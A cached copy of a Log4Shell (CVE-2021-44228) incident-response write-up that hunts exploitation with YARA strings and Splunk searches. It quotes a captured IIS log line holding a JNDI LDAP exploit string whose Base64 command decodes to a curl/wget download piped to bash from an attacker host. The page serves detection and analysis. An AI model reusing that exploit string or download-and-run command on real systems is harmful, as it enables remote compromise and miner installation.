Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Description
CVE-2021-44228 DFIR Notes
Readme
# CVE-2021-44228 DFIR-Notes

Driving home I got my first messages flowing in about the #log4shell vulnerability.

A high severity vulnerability (CVE-2021-44228) impacting multiple versions of the Apache Log4j 2 utility was disclosed publicly via the project's GitHub on December 9, 2021. This vulnerability, which was discovered by Chen Zhaojun of Alibaba Cloud Security Team, impacts Apache Log4j 2 versions 2.0 to 2.14.1

Dove right in when I got home. Splunk4tw as usual. 

After the first proof-of-concept exploit was published on GitHub, threat actors began scanning the Internet for systems vulnerable to this remotely exploitable security flaw that doesn't require authentication. What you will see below are part of those scanning and exploit attempts.

My first goto is to see if somebody has put out an initial YARA rule.
Found it here https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b (Thx Florian Roth)

It mentions the following for detection strings:
<code>
   strings:
      $x1 = "${jndi:ldap:/"
      $x2 = "${jndi:rmi:/"
      $x3 = "${jndi:ldaps:/"
      $x4 = "${jndi:dns:/"
  </code>
      
I'm not scared.....lets abuse some CPU's and go straight fo the kill with the worst Splunk search.

<code>
  index=* jndi:ldap* (updated query with index=* "{lower:l}${lower:d}a${lower:p}")
</code>

I have some hits in both my iis logs and windows eventlogging (redacted) and a lot of blocked attempts on the firewall logging....

IIS:
![image](https://user-images.githubusercontent.com/31852867/145650843-3473aa26-8aa3-411c-964e-a189203d47cf.png)

WINEVENTLOG:
![image](https://user-images.githubusercontent.com/31852867/145653677-fefdecdd-88b0-4c35-904a-678a948fe74f.png)


Checking the IP address 45.155.205.233.....St Petersburg,Russia.....what a surprise.
![image](https://user-images.githubusercontent.com/31852867/145650624-5b257eba-d8d6-4793-b9d6-b9e1e2aadfcb.png)


The found string looks like a classic textbook obfuscated encoded malicious string. 
Let's see what it does:

Lets decode the Base64 string using cyberchef
<code>
2021-12-10 13:26:16 [redacted] GET / - 443 - xxx.xx.xxx.xx ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNDUuMzUuMTk1LjYzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE0NS4zNS4xOTUuNjM6ODApfGJhc2g=} http://[redacted]:80/ 200 0 0 171 </code>

![image](https://user-images.githubusercontent.com/31852867/145650359-2ca71b72-67df-4b33-9858-182e25b99f1f.png)

(curl -s 45.155.xx.233:xxxx/145.xx.195.63:80||wget -q -O- 45.xx.205.233:xxxx/145.xx.xxx.63:80)|bash

Curl...run a shell script, bash....OMG. I start to have an idea what this nasty piece of work will do....

Let's run the curl command in a sandbox:

![image](https://user-images.githubusercontent.com/31852867/145651241-fe35b7ba-d4db-4822-b4b3-9fc2744746d9.png)

368 lines of code. 
(run it here is you want to look at the whole script --> https://reqbin.com/c-ipejxywd

Some snippets:

![image](https://user-images.githubusercontent.com/31852867/145651662-07f48bf6-dc10-49cd-81f6-909e23b53246.png)
![image](https://user-images.githubusercontent.com/31852867/145651722-6dc3f9f3-e081-4bff-bebf-cebf4f4ba3d2.png)
![image](https://user-images.githubusercontent.com/31852867/145651863-701ff1f3-d395-48bb-aed7-4f3755676b36.png)

And after it is done it even clears the log files...what a surprise:

![image](https://user-images.githubusercontent.com/31852867/145651943-9e9bddcb-3be1-472b-950f-229d680d5275.png)

It basically tries to install Malware called Kingsin which is a Crypto Miner. Targets are nix systems.
Make sure you patch your systems as the exploit will be used to run all sorts of payloads probably.

Thanks to my coworkers Martijn from Umbrio and Rob [redacted] for an Friday evening of whatsapp sparring about this.
00:09 time for bed.

#UPDATES & good Resources#

- https://www.splunk.com/en_us/blog/security/log-jammin-log4j-2-rce.html
- https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228

![image](https://user-images.githubusercontent.com/31852867/145652540-a2e162f7-23d1-4306-a695-586e49f19c2b.png)





File Snapshot

[4.0K] /data/pocs/9e3932c7bc1c49b47b1d39a03d16336dfd3111a2 ├── [3.4K] CVE-2021-44228_Splunk_Searches └── [4.2K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.